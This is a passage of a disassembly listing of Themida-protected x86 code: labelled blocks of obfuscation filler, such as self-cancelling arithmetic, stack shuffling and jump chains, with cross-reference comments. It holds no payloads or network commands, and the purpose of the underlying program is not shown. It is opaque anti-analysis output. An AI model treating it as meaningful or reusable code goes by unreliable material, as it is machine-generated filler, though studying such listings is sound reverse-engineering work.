		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59E5D3:				; CODE XREF: Themida_:005AFB24j
		push	cx
		jmp	loc_5AB230
; ---------------------------------------------------------------------------


loc_59E5DA:				; CODE XREF: Themida_:005A31BAj
		push	edi
		mov	edi, 29E30053h
		xor	edi, 343E0C79h
		add	edi, 8AB1D19Eh
		xor	esi, edi
		pop	edi
		jmp	loc_5AB265
; ---------------------------------------------------------------------------


loc_59E5F4:				; CODE XREF: Themida_:00598A1Aj
		add	ebx, 4
		push	edx
		push	ecx
		mov	ecx, 447E1411h
		mov	edx, 447E1415h
		sub	edx, ecx
		jmp	loc_5A8563
; ---------------------------------------------------------------------------


loc_59E60D:				; CODE XREF: Themida_:0059B39Bj
		xor	al, bl
		jmp	loc_5A98A9
; ---------------------------------------------------------------------------


loc_59E614:				; CODE XREF: Themida_:loc_5A7EF1j
		jmp	loc_59FB28
; ---------------------------------------------------------------------------


loc_59E619:				; CODE XREF: Themida_:0059E0D9j
		xchg	edx, [esp]
		pop	esp
		xor	edi, 2E91B888h
		xor	eax, edi
		pop	edi
		push	ebp
		jmp	loc_5A23DB
; ---------------------------------------------------------------------------


loc_59E62C:				; CODE XREF: Themida_:005A3A7Aj
		mov	[esp], esi
		mov	esi, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_5AA22D
; ---------------------------------------------------------------------------


loc_59E63C:				; CODE XREF: Themida_:005AEEF7j
		dec	ebx
		jg	loc_5A6716
		jmp	loc_59D763
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, 52CD203Ah
		mov	ah, 0EFh


loc_59E650:				; CODE XREF: Themida_:0059C65Bj
		sub	ebp, 7A22457Dh
		add	ebp, edi
		add	ebp, 7A22457Dh
		jmp	loc_5ADE3C
; ---------------------------------------------------------------------------


loc_59E663:				; CODE XREF: Themida_:005AA829j
		sub	ecx, 48EC46FDh
		push	edi
		mov	edi, 14012E5Dh
		xor	edi, 6BDC1AE4h
		sub	ecx, edi
		jmp	loc_59B100
; ---------------------------------------------------------------------------


loc_59E67C:				; CODE XREF: Themida_:005A0EBAj
		mov	edi, 13936D10h
		neg	edi
		jmp	loc_59EE49
; ---------------------------------------------------------------------------


loc_59E688:				; CODE XREF: Themida_:0059C05Cj
		xor	[esp], ax
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59E692:				; CODE XREF: Themida_:0059C9D3j
		neg	ebx
		shl	ebx, 8
		jmp	loc_59AC12
; ---------------------------------------------------------------------------


loc_59E69C:				; CODE XREF: Themida_:005A3A94j
		add	ecx, 38C616FBh
		mov	esi, ecx
		jmp	loc_5A01FB
; ---------------------------------------------------------------------------


loc_59E6A9:				; CODE XREF: Themida_:005AB6C4j
		sub	eax, ebx
		pop	ebx
		add	eax, esi
		add	eax, 4DA06C4h
		push	ebp
		jmp	loc_59E30D
; ---------------------------------------------------------------------------
		db 68h,	0A2h, 36h
		dd 4890000h, 5348B424h,	0FFE483E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59E6C9:				; CODE XREF: Themida_:0059FC59j
		add	esp, 4
		xchg	edi, [esp]
		jmp	loc_5A866F
; ---------------------------------------------------------------------------


loc_59E6D7:				; CODE XREF: Themida_:005A11E5j
		push	edx
		jmp	loc_5ACA87
; ---------------------------------------------------------------------------


loc_59E6DD:				; CODE XREF: Themida_:00599285j
		add	eax, 91C755E4h
		add	edi, eax
		jmp	loc_5ABAB9
; ---------------------------------------------------------------------------


loc_59E6E9:				; CODE XREF: Themida_:005A1660j
					; Themida_:005A31F1j
		sub	ebp, 2C8902D9h
		sub	ebp, 966C9F93h
		add	edx, 12545338h
		sub	edx, ebp
		sub	edx, 12545338h
		jmp	loc_5AC306
; ---------------------------------------------------------------------------


loc_59E708:				; CODE XREF: Themida_:005AA5A3j
		push	ecx
		push	676Fh
		mov	[esp], eax
		push	0B3B695Bh
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5A232D
; ---------------------------------------------------------------------------


loc_59E71F:				; CODE XREF: Themida_:005AF61Cj
		push	ebx
		mov	ebx, 4A1F7F91h
		push	esi
		push	eax
		push	689F1DE9h
		pop	eax
		neg	eax
		jmp	loc_5A9D26
; ---------------------------------------------------------------------------


loc_59E734:				; CODE XREF: Themida_:005AE867j
		pop	bx
		push	edx
		jmp	loc_59B549
; ---------------------------------------------------------------------------


loc_59E73C:				; CODE XREF: Themida_:0059D1C9j
					; DATA XREF: Themida_:005987F0o
		push	dword ptr fs:[edx]
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59E744:				; CODE XREF: Themida_:005A93F2j
		xor	ebp, 60D9073Dh
		jnz	loc_5AF95C
		inc	ebp
		jmp	loc_5A730C
; ---------------------------------------------------------------------------
		pop	si
		push	edi
		mov	di, 2928h
		mov	bh, cl


loc_59E75F:				; CODE XREF: Themida_:0059D3EDj
		add	esp, 4
		jmp	loc_5AC71E
; ---------------------------------------------------------------------------


loc_59E76A:				; CODE XREF: Themida_:005A2013j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		push	2EF6h
		jmp	loc_5AB205
; ---------------------------------------------------------------------------


loc_59E78A:				; CODE XREF: Themida_:005A39FAj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	35C4h
		mov	[esp], ebp
		mov	ebp, 4
		push	1EA4h
		mov	[esp], edx
		mov	edx, 42090643h
		sub	ebx, edx
		jmp	loc_5A9BFC
; ---------------------------------------------------------------------------


loc_59E7B2:				; CODE XREF: Themida_:0059E2A4j
		push	ebp
		push	ebx
		mov	ebx, 3DD06CD1h
		jmp	loc_5A685A
; ---------------------------------------------------------------------------


loc_59E7BE:				; CODE XREF: Themida_:0059B8BCj
					; Themida_:005A9B6Aj
		push	edx
		mov	edx, 24h
		push	ebx
		jmp	loc_5A127E
; ---------------------------------------------------------------------------


loc_59E7CA:				; CODE XREF: Themida_:0059A190j
		mov	ebx, [esp]
		add	esp, 4
		add	edi, ecx
		mov	ecx, [esp]
		jmp	loc_59FDCD
; ---------------------------------------------------------------------------


loc_59E7DA:				; CODE XREF: Themida_:0059A980j
		xor	esi, ebp
		pop	ebp
		jmp	loc_599E7D
; ---------------------------------------------------------------------------


loc_59E7E2:				; CODE XREF: Themida_:0059FF47j
		pop	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_59944E
; ---------------------------------------------------------------------------


loc_59E7F1:				; CODE XREF: Themida_:0059ED89j
		pop	edi
		jmp	loc_5A5DFD
; ---------------------------------------------------------------------------


loc_59E7F7:				; CODE XREF: Themida_:0059E03Ej
		pop	dword ptr [esp]
		mov	esp, [esp]


loc_59E7FD:				; CODE XREF: Themida_:005A168Ej
					; Themida_:005A7E25j
		mov	ebx, [esp]
		jmp	loc_5AD21D
; ---------------------------------------------------------------------------


loc_59E805:				; CODE XREF: Themida_:005A7B4Bj
		jmp	loc_5A2839
; ---------------------------------------------------------------------------


loc_59E80A:				; CODE XREF: Themida_:005A759Fj
		push	cx
		mov	ch, 25h
		jmp	loc_59F18F
; ---------------------------------------------------------------------------


loc_59E813:				; CODE XREF: Themida_:005AD9E6j
		push	5D89h
		mov	[esp], ebx
		mov	ebx, esp
		push	272Eh
		jmp	loc_5A2E94
; ---------------------------------------------------------------------------


loc_59E827:				; CODE XREF: Themida_:005A17E4j
					; Themida_:005AF58Aj
		xor	ebx, eax
		movzx	ax, byte ptr [eax]
		push	7842h
		mov	[esp], ebp
		push	esp
		push	dword ptr [esp]
		pop	ebp
		push	edi
		mov	edi, esp
		jmp	loc_5AFBA7
; ---------------------------------------------------------------------------


loc_59E842:				; CODE XREF: Themida_:005A6409j
					; Themida_:005AEDD5j
		pop	eax
		sub	edx, 5A186Dh
		pop	edi
		sub	eax, 61CB4229h
		sub	eax, edx
		add	eax, 61CB4229h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5ACF21
; ---------------------------------------------------------------------------


loc_59E862:				; CODE XREF: Themida_:0059B422j
		or	edi, 13E947BAh
		jnb	loc_5A7967
		neg	edi
		js	loc_5A3F8B
		jno	loc_5ADCBB


loc_59E87C:				; CODE XREF: Themida_:0059CF02j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5AD785
; ---------------------------------------------------------------------------


loc_59E894:				; CODE XREF: Themida_:00599CA7j
		jnz	loc_599E9F
		add	ebx, 553A6340h
		jmp	loc_5A2D20
; ---------------------------------------------------------------------------
		pop	eax


loc_59E8A6:				; CODE XREF: Themida_:005A2739j
		push	ebx
		mov	ebx, 1648499Ch
		jmp	loc_5ADABC
; ---------------------------------------------------------------------------


loc_59E8B1:				; CODE XREF: Themida_:005ADFC7j
		push	eax
		mov	eax, 0DC52F6F9h
		jmp	loc_5AF5DE
; ---------------------------------------------------------------------------


loc_59E8BC:				; CODE XREF: Themida_:005A39B9j
		add	edx, 4
		push	eax
		mov	eax, 4
		sub	edx, eax
		pop	eax
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		push	ebp
		push	eax
		push	7FD100E0h
		pop	eax
		dec	eax
		jle	loc_5A36C5
		shl	eax, 7
		shr	eax, 7
		sub	eax, 1D100DBh
		mov	ebp, eax
		jmp	loc_59B6A9
; ---------------------------------------------------------------------------


loc_59E8F5:				; CODE XREF: Themida_:005A43C1j
		neg	cl
		jmp	loc_59AC63
; ---------------------------------------------------------------------------


loc_59E8FC:				; CODE XREF: Themida_:0059B27Dj
					; Themida_:loc_5A793Cj
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		mov	ebx, 7C571108h
		mov	edx, ebx
		pop	ebx
		xor	edx, 506A0018h
		sub	edx, 0BA770551h
		jmp	loc_5A1EDB
; ---------------------------------------------------------------------------


loc_59E91F:				; CODE XREF: Themida_:005AE00Cj
		mov	[esp], ax
		mov	al, 0D4h
		add	bl, al
		pop	ax
		push	ecx
		mov	ch, 7Dh
		add	bl, ch
		pop	ecx
		add	bl, 6Bh
		jmp	loc_59BB2E
; ---------------------------------------------------------------------------


loc_59E937:				; CODE XREF: Themida_:005A027Dj
		pop	dword ptr [edi+eax*4]
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59E93F:				; CODE XREF: Themida_:0059C082j
		not	ebp
		jmp	loc_59DF02
; ---------------------------------------------------------------------------


loc_59E946:				; CODE XREF: Themida_:005A09F3j
		mov	ebp, 1
		jmp	loc_5ADB64
; ---------------------------------------------------------------------------


loc_59E950:				; CODE XREF: Themida_:005ACA92j
		xor	edx, edi
		pop	edi
		jmp	loc_5A77C9
; ---------------------------------------------------------------------------


loc_59E958:				; CODE XREF: Themida_:0059A692j
		pop	ebx
		push	60Bh
		jmp	loc_5A4A79
; ---------------------------------------------------------------------------


loc_59E963:				; CODE XREF: Themida_:005A16E7j
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_59D658
; ---------------------------------------------------------------------------


loc_59E971:				; CODE XREF: Themida_:0059A54Bj
		mov	edx, 4
		jmp	loc_5A8B81
; ---------------------------------------------------------------------------


loc_59E97B:				; CODE XREF: Themida_:00598CDAj
					; Themida_:0059BDBFj
		sub	ebx, 17732A90h
		jmp	loc_5997EC
; ---------------------------------------------------------------------------


loc_59E986:				; CODE XREF: Themida_:005A82DDj
		shr	ecx, 2
		jmp	loc_5A337C
; ---------------------------------------------------------------------------


loc_59E98E:				; CODE XREF: Themida_:005ACE9Fj
		mov	ecx, 718F2DCAh
		xor	ecx, 718F2DCEh
		sub	esi, 113E3F7Eh
		add	esi, 33D2711h
		add	esi, ecx
		sub	esi, 33D2711h
		jmp	loc_5A9836
; ---------------------------------------------------------------------------


loc_59E9B2:				; CODE XREF: Themida_:005A5373j
		pop	ebx
		sub	eax, 672D9D7h
		mov	ebp, eax
		pop	eax
		mov	edi, ebp
		pop	ebp
		neg	edi
		push	eax
		push	ecx
		mov	ecx, 19E52942h
		xchg	edx, ecx
		add	edx, 1
		xchg	edx, ecx
		or	ecx, 34C407DFh
		sub	ecx, 6DE23AE8h
		or	ecx, 3AF942FCh
		push	esi
		mov	esi, 7D903CF6h
		jmp	loc_5AE89E
; ---------------------------------------------------------------------------


loc_59E9EE:				; CODE XREF: Themida_:005AB012j
		dec	esi
		jmp	loc_5A666F
; ---------------------------------------------------------------------------


loc_59E9F4:				; CODE XREF: Themida_:005AC90Cj
		push	dword ptr [esp]
		jmp	loc_59D224
; ---------------------------------------------------------------------------


loc_59E9FC:				; CODE XREF: Themida_:005A3844j
		add	esp, 4
		mov	dx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		jmp	loc_5AB6D0
; ---------------------------------------------------------------------------


loc_59EA17:				; CODE XREF: Themida_:005AF6CBj
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5ABDC9
; ---------------------------------------------------------------------------


loc_59EA22:				; CODE XREF: Themida_:0059EFD6j
		pop	esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5AFBB2
; ---------------------------------------------------------------------------


loc_59EA31:				; CODE XREF: Themida_:005A4AB4j
		xchg	eax, [esp]
		jmp	loc_5A6208
; ---------------------------------------------------------------------------


loc_59EA39:				; CODE XREF: Themida_:005AAA68j
		neg	ebp
		jmp	loc_5A39A4
; ---------------------------------------------------------------------------


loc_59EA40:				; CODE XREF: Themida_:0059D54Dj
		shl	ch, 6
		jmp	loc_5A4EA5
; ---------------------------------------------------------------------------


loc_59EA48:				; CODE XREF: Themida_:0059A1A1j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_59B7CE
; ---------------------------------------------------------------------------


loc_59EA57:				; CODE XREF: Themida_:005A9751j
		pop	edx
		sub	ecx, 4
		jmp	loc_5ADEEF
; ---------------------------------------------------------------------------


loc_59EA63:				; CODE XREF: Themida_:005A8A67j
		push	5150h
		jmp	loc_5ADAFB
; ---------------------------------------------------------------------------


loc_59EA6D:				; CODE XREF: Themida_:0059E0CBj
					; Themida_:005AF95Dj
		add	edx, edi
		push	ebx
		jmp	loc_5AE4AE
; ---------------------------------------------------------------------------


loc_59EA75:				; CODE XREF: Themida_:0059CE82j
		push	eax
		add	dword ptr [esp], 507C7540h
		pop	ebp
		sub	ebp, 507C7540h
		pop	eax
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5AFA75
; ---------------------------------------------------------------------------


loc_59EA9E:				; CODE XREF: Themida_:005A4EA8j
		jz	loc_5A4A47
		push	edx
		mov	dl, 9
		push	ecx
		mov	ch, 6Ah
		sub	dl, ch
		pop	ecx
		mov	bl, dl


loc_59EAAF:				; CODE XREF: Themida_:005AA7B3j
		xor	eax, 0E2ABFFF6h
		push	ecx
		jmp	loc_59FAB7
; ---------------------------------------------------------------------------


loc_59EABA:				; CODE XREF: Themida_:0059CB90j
		shl	ebp, 1
		jmp	loc_59B898
; ---------------------------------------------------------------------------


loc_59EAC1:				; CODE XREF: Themida_:005AE944j
		push	2F473607h
		pop	edx
		and	edx, 2ED43564h
		jmp	loc_59FE0E
; ---------------------------------------------------------------------------


loc_59EAD2:				; CODE XREF: Themida_:0059B55Fj
					; Themida_:005A6F89j
		pop	edx
		push	7574h
		mov	[esp], edi
		mov	edi, 2
		add	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_59904A
; ---------------------------------------------------------------------------


loc_59EAEE:				; CODE XREF: Themida_:005A702Fj
		pop	ebx
		jmp	loc_59A60F
; ---------------------------------------------------------------------------


loc_59EAF4:				; CODE XREF: Themida_:loc_5ACD5Bj
		neg	ecx
		jl	loc_5A23A5
		jmp	loc_5A54FC
; ---------------------------------------------------------------------------
		push	1BB0h


loc_59EB06:				; CODE XREF: Themida_:005A9D61j
		add	ebp, 4
		jmp	loc_5A5C73
; ---------------------------------------------------------------------------


loc_59EB0E:				; CODE XREF: Themida_:005A308Ej
		push	esp
		pop	edi
		push	ebx
		push	1CDBh
		jmp	loc_5AD59C
; ---------------------------------------------------------------------------


loc_59EB1B:				; DATA XREF: Themida_:00598864o
		mov	ax, [esp]
		push	eax
		push	esp
		jmp	loc_59A923
; ---------------------------------------------------------------------------


loc_59EB26:				; CODE XREF: Themida_:0059D10Fj
		sub	ch, 0Ah
		add	bl, 89h
		sub	bl, 0ACh
		jmp	loc_59DB87
; ---------------------------------------------------------------------------


loc_59EB34:				; CODE XREF: Themida_:0059F80Ej
		sub	al, 0FCh
		jmp	loc_5AD127
; ---------------------------------------------------------------------------


loc_59EB3B:				; CODE XREF: Themida_:005A9A76j
					; Themida_:005AC1E6j
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 3F787776h
		push	edi
		mov	edi, 6C973726h
		inc	edi
		neg	edi
		jmp	loc_59A71C
; ---------------------------------------------------------------------------


loc_59EB5A:				; CODE XREF: Themida_:005A0E56j
		xchg	edx, ebx
		push	ecx
		mov	ecx, 7F193FAEh
		add	ecx, 982D1D94h
		or	ebx, ecx
		pop	ecx
		add	ebx, 26D013ACh
		or	ebx, 4D5011B6h
		jmp	loc_5A2A96
; ---------------------------------------------------------------------------


loc_59EB7C:				; CODE XREF: Themida_:0059CF2Fj
		mov	ebx, 21CE6845h
		shr	ebx, 1
		jp	loc_599CA1
		sub	ebx, 105034D0h
		jmp	loc_5AA4CA
; ---------------------------------------------------------------------------
		mov	cl, al


loc_59EB96:				; CODE XREF: Themida_:005A3BDDj
		sub	edx, 44000004h
		jmp	loc_5A7B56
; ---------------------------------------------------------------------------


loc_59EBA1:				; CODE XREF: Themida_:005A7338j
		mov	ecx, [esp]
		jmp	loc_5ACA5D
; ---------------------------------------------------------------------------


loc_59EBA9:				; CODE XREF: Themida_:005A3623j
		not	esi
		jmp	loc_5A72D7
; ---------------------------------------------------------------------------


loc_59EBB0:				; CODE XREF: Themida_:005A21B7j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	edx
		mov	edx, 4
		jmp	loc_5A8144
; ---------------------------------------------------------------------------


loc_59EBC3:				; CODE XREF: Themida_:005AB5A2j
		mov	ebp, 13AA5C65h
		or	ebp, 14DA2C6Fh
		jmp	loc_5A3A65
; ---------------------------------------------------------------------------


loc_59EBD3:				; CODE XREF: Themida_:005AA763j
		xor	eax, esi
		jmp	loc_5AB08F
; ---------------------------------------------------------------------------
		push	53947h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	522Fh
		mov	[esp], edi
		push	7E57h
		jmp	loc_5ABF94
; ---------------------------------------------------------------------------


loc_59EBFE:				; CODE XREF: Themida_:005A4115j
		pop	eax
		push	74B7h
		mov	[esp], edx
		mov	edx, 0D8E1523h
		add	edx, 0E605C43h
		jmp	loc_5A9823
; ---------------------------------------------------------------------------


loc_59EC17:				; DATA XREF: Themida_:005987A4o
		push	dword ptr [edi+2Ch]
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59EC1F:				; CODE XREF: Themida_:005A4F60j
		push	dword ptr [esp]
		jmp	loc_59D87F
; ---------------------------------------------------------------------------


loc_59EC27:				; CODE XREF: Themida_:005998F1j
					; Themida_:0059E344j
		mov	eax, esp
		add	eax, 4
		jmp	loc_5A4AB1
; ---------------------------------------------------------------------------


loc_59EC33:				; CODE XREF: Themida_:005A0CE3j
		pop	esi
		jmp	loc_59B949
; ---------------------------------------------------------------------------


loc_59EC39:				; CODE XREF: Themida_:0059EDFFj
		xchg	edx, ebx
		xor	ebx, 0A9EBC5BFh
		push	edi
		push	ecx
		push	86101DEh
		jmp	loc_59E317
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		push	esp
		pop	edx
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		push	0A1h
		mov	[esp], edx
		mov	edx, 6B0C3E83h
		push	edi
		mov	edi, 47850DF9h
		mov	ecx, 2387308Ch
		add	ecx, edi
		pop	edi
		jmp	loc_5A3677
; ---------------------------------------------------------------------------


loc_59EC86:				; CODE XREF: Themida_:005AE4F7j
		sub	esp, 4
		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		add	dword ptr [esp+4], 6F405773h
		add	[esp+4], ebx
		jmp	loc_5A686C
; ---------------------------------------------------------------------------


loc_59ECA3:				; CODE XREF: Themida_:005AB55Aj
		push	esi
		neg	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_59BD84
; ---------------------------------------------------------------------------


loc_59ECAF:				; CODE XREF: Themida_:005A5FC0j
		mov	esp, [esp]
		mov	[esp], ecx
		push	edx
		push	ecx
		push	283B5E5Ch
		pop	ecx
		not	ecx
		inc	ecx
		sub	ecx, 5FF631ECh
		mov	edx, ecx
		pop	ecx
		push	edx
		not	dword ptr [esp]
		pop	edx
		xchg	ebx, edx
		not	ebx
		xchg	ebx, edx
		push	esi
		mov	esi, 172F5424h
		sub	esi, 0A352ECD7h
		add	edx, 32B22347h
		sub	edx, esi
		jmp	loc_5ADD67
; ---------------------------------------------------------------------------


loc_59ECED:				; CODE XREF: Themida_:0059C5F5j
		xor	esi, 2B7A639Eh
		or	ebx, esi
		pop	esi
		xor	ebx, 111149DEh
		shr	ebx, 5
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		mov	edx, 7EF7391h
		mov	ebp, edx
		pop	edx
		jmp	loc_5A86D7
; ---------------------------------------------------------------------------


loc_59ED13:				; CODE XREF: Themida_:005AA991j
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		dec	ebx
		add	ebx, 8BB189D3h
		add	ecx, 0A4C1C42h
		sub	ecx, ebx
		jmp	loc_5A724D
; ---------------------------------------------------------------------------


loc_59ED2C:				; CODE XREF: Themida_:0059C7F8j
		pop	esi
		jmp	loc_59B5CE
; ---------------------------------------------------------------------------


loc_59ED32:				; CODE XREF: Themida_:0059B22Aj
		jnp	loc_5A68B5
		jmp	loc_5AB83F
; ---------------------------------------------------------------------------
		pop	ecx
		not	edi
		add	edi, 6E20F691h


loc_59ED46:				; CODE XREF: Themida_:005AF5A2j
		mov	esi, 88D462AAh
		jmp	loc_5A8942
; ---------------------------------------------------------------------------


loc_59ED50:				; CODE XREF: Themida_:0059978Dj
		sub	cl, 0C3h
		jmp	loc_5A6901
; ---------------------------------------------------------------------------


loc_59ED58:				; CODE XREF: Themida_:0059AA32j
					; Themida_:0059F30Dj
		push	42522063h
		pop	edx
		neg	edx
		jmp	loc_5AE292
; ---------------------------------------------------------------------------


loc_59ED65:				; CODE XREF: Themida_:005A384Aj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5A3693
; ---------------------------------------------------------------------------


loc_59ED73:				; CODE XREF: Themida_:0059FEA0j
		jmp	loc_5AE3C0
; ---------------------------------------------------------------------------


loc_59ED78:				; CODE XREF: Themida_:0059A8D9j
		push	1D17h
		jmp	loc_5A3F55
; ---------------------------------------------------------------------------


loc_59ED82:				; CODE XREF: Themida_:005A4BF7j
		dec	ecx
		push	edi
		push	0FEC3B2D8h
		jmp	loc_59E7F1
; ---------------------------------------------------------------------------


loc_59ED8E:				; CODE XREF: Themida_:005A099Cj
		sub	edx, 95E5EB90h
		push	eax
		jmp	loc_5AC911
; ---------------------------------------------------------------------------


loc_59ED9A:				; CODE XREF: Themida_:005ADAB7j
		push	ebp
		push	942h
		mov	[esp], esi
		push	ebx
		push	ecx
		mov	ecx, esp
		jmp	loc_59E4FD
; ---------------------------------------------------------------------------


loc_59EDAC:				; CODE XREF: Themida_:005A667Aj
					; Themida_:005A8867j
		push	ebp
		pop	edi
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 6C565C3Eh
		or	eax, 22FD5DC5h
		push	ecx
		mov	ecx, 468925AAh
		add	eax, ecx
		pop	ecx
		push	ebp
		mov	ebp, 0
		sub	ebp, eax
		jmp	loc_59C70A
; ---------------------------------------------------------------------------


loc_59EDD8:				; CODE XREF: Themida_:005A1D4Aj
		pop	ebx
		jmp	loc_5AF4DB
; ---------------------------------------------------------------------------


loc_59EDDE:				; CODE XREF: Themida_:005A6B45j
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5A3406
; ---------------------------------------------------------------------------


loc_59EDE9:				; CODE XREF: Themida_:005A785Fj
		pop	ebx
		pop	ecx
		mov	ch, 52h
		sub	ch, al
		pop	eax
		or	ch, 82h
		neg	ch
		sub	ch, 0FFh
		jmp	loc_5A0C5A
; ---------------------------------------------------------------------------


loc_59EDFD:				; CODE XREF: Themida_:0059B006j
		not	edx
		jmp	loc_59EC39
; ---------------------------------------------------------------------------


loc_59EE04:				; DATA XREF: Themida_:005988ECo
		mov	ax, [esp]
		push	ebx
		jmp	loc_5AC7BB
; ---------------------------------------------------------------------------


loc_59EE0E:				; CODE XREF: Themida_:005A681Cj
		pop	ebx
		xor	dx, di
		xor	di, dx
		jmp	loc_5AD802
; ---------------------------------------------------------------------------


loc_59EE1A:				; CODE XREF: Themida_:005A5D29j
		jnp	loc_5AECE5
		sub	esi, 8ED0E305h
		shr	esi, 2
		jmp	loc_5A23F3
; ---------------------------------------------------------------------------


loc_59EE2E:				; CODE XREF: Themida_:0059B7C9j
					; Themida_:005A5F4Dj
		push	small 277Fh
		mov	[esp], dx
		mov	dh, 3Fh
		add	al, 2
		add	al, 84h
		add	al, 0E5h
		add	al, dh
		sub	al, 0E5h
		sub	al, 84h
		jmp	loc_5ABF77
; ---------------------------------------------------------------------------


loc_59EE49:				; CODE XREF: Themida_:0059E683j
		not	edi
		sub	edi, 4BD75080h
		add	eax, edi
		pop	edi
		jmp	loc_5A1CF1
; ---------------------------------------------------------------------------


loc_59EE59:				; CODE XREF: Themida_:005A29AEj
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		push	0DD9h
		mov	[esp], ecx
		jmp	loc_5A3F2A
; ---------------------------------------------------------------------------


loc_59EE6D:				; CODE XREF: Themida_:0059A3FBj
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_59FD6B
; ---------------------------------------------------------------------------


loc_59EE7A:				; CODE XREF: Themida_:005A4576j
		mov	[esp], ebx
		mov	ebx, 1651700Bh
		sub	ebx, 58FA0F81h
		and	ebx, 70EC3A0Dh
		neg	ebx
		jmp	loc_5A75E3
; ---------------------------------------------------------------------------


loc_59EE95:				; CODE XREF: Themida_:005A76FAj
		sub	cx, 0A8D3h
		mov	dx, cx
		pop	ecx
		xor	dx, 481Ch
		inc	dx
		jmp	loc_5AC18E
; ---------------------------------------------------------------------------


loc_59EEAA:				; CODE XREF: Themida_:005A2D54j
		mov	[esp], edx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_59A467
; ---------------------------------------------------------------------------


loc_59EEBB:				; CODE XREF: Themida_:005A69E6j
		mov	[esp], edx
		jmp	loc_5A7DFB
; ---------------------------------------------------------------------------


loc_59EEC3:				; CODE XREF: Themida_:005AD84Dj
		sub	cl, 77h
		dec	cl
		xor	cl, 0BAh
		add	dh, cl
		pop	ecx
		add	dh, 0Dh
		sub	ch, dh
		pop	edx
		add	ch, 73h
		shr	ch, 1
		jmp	loc_5A821B
; ---------------------------------------------------------------------------


loc_59EEDE:				; CODE XREF: Themida_:005A5F36j
		pop	eax
		sub	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5A2049
; ---------------------------------------------------------------------------


loc_59EEED:				; CODE XREF: Themida_:00599E88j
		mov	[esp], esi
		mov	esi, esp
		push	ebx
		mov	ebx, 4
		push	4B49h
		mov	[esp], edx
		mov	edx, 6B144750h
		add	edx, 0EB2E127Bh
		sub	esi, edx
		pop	edx
		sub	esi, 77AF2930h
		add	esi, ebx
		add	esi, 77AF2930h
		add	esi, 564259CBh
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_59F699
; ---------------------------------------------------------------------------


loc_59EF33:				; CODE XREF: Themida_:005A2113j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_59F54B
; ---------------------------------------------------------------------------


loc_59EF46:				; CODE XREF: Themida_:00599536j
					; Themida_:005A6705j
		pop	eax
		jmp	loc_5A62FA
; ---------------------------------------------------------------------------


loc_59EF4C:				; CODE XREF: Themida_:0059C69Aj
		add	al, dl
		sub	al, 0F7h
		mov	dx, [esp]
		jmp	loc_5A4BFC
; ---------------------------------------------------------------------------


loc_59EF59:				; CODE XREF: Themida_:005A85BEj
		sub	ebp, 37747F73h
		jmp	loc_5A9FDB
; ---------------------------------------------------------------------------


loc_59EF64:				; CODE XREF: Themida_:005A84F4j
		jz	loc_5ADD54
		jmp	loc_5A424F
; ---------------------------------------------------------------------------


loc_59EF6F:				; CODE XREF: Themida_:005AE870j
		push	ecx
		jmp	loc_59A599
; ---------------------------------------------------------------------------


loc_59EF75:				; CODE XREF: Themida_:005A0638j
		xchg	ebp, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		jmp	loc_5AF837
; ---------------------------------------------------------------------------


loc_59EF87:				; CODE XREF: Themida_:loc_5AD9D7j
		xor	edi, 0DA57E778h
		mov	ebx, edi
		pop	edi
		add	eax, ebx
		pop	ebx
		mov	edi, [esp]
		add	esp, 4
		add	esi, 72D36D82h
		jmp	loc_5A1C88
; ---------------------------------------------------------------------------


loc_59EFA7:				; CODE XREF: Themida_:0059BB40j
		mov	ebp, esp
		push	eax
		mov	eax, 4
		push	ebx
		jmp	loc_599095
